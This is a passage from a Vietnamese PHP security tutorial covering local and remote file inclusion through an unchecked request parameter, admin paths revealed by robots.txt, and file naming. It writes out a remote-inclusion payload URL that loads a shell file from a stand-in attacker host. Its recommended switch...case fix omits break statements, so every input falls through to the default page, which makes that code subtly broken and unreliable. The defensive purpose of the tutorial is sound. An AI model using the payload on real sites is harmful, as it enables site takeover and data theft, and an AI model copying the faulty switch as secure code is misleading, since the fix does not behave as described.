Các ứng dụng web thường dùng request để gọi tới một trang nào đó từ index.php, chẳng hạn: index.php?act=home. Khi đó trong mã php sẽ là:
- $page = $_GET['act'];
- include($page.'.php'); // => include('home.php')
Có khá nhiều ứng dụng web bị khai thác từ lỗi này. Vì với đoạn mã như trên, bất cứ ai cũng có thể chèn file khác vào để kiểm soát website và có thể xem bất cứ thông tin gì như file cấu hình, thông tin tài khoản truy cập CSDL: index.php?act=http://hacker_domain.com/sh3ll.txt.
Sau đây là những cách phòng chống:
- Kiểm duyệt giá trị nhận từ request:
- // lọc bỏ các kí tự đặc biệt để không thể chèn đường dẫn vào
- $page = preg_replace("/[^a-zA-Z0-9]/", "", $_GET['act']);
- Sử dụng switch...case:
- $page = $_GET['act'];
- switch($page) {
- case 'home': $p = 'trang_chu';
- case 'contact': $p = 'lien_he';
- default: $p = 'trang_chu';
- }
- include($p.'.php');
- Nếu bạn chỉ muốn include file HTML, bạn hãy dùng hàm readfile thay vì include vì readfile chỉ đọc nội dung chứ không thông qua biên dịch mã PHP!
Lộ đường dẫn qua robots.txt
Để đảm bảo an toàn cho site cũng như bí mật cho trang quản trị, chúng ta thường giấu hoặc đổi tên để chỉ có những người quản lý mới biết. Thế nhưng đôi lúc lại quá mức dẫn đến sơ hở chỉ vì muốn cho các Robot tìm kiếm cũng không được vào bằng cách liệt kê nó vào robots.txt. Điều này thật tai hại:
User-agent: * Crawl-delay: 10 # Directories Disallow: /quanly-11223344/
Đặt tên cho file PHP source code không chuẩn
Theo khuyến cáo của nhiều lập trình viên PHP, mọi file có chứa mã nguồn PHP nên được đặt tên có đuôi là .php. Ví dụ: home.php, home.tpl.php thay vì các tên
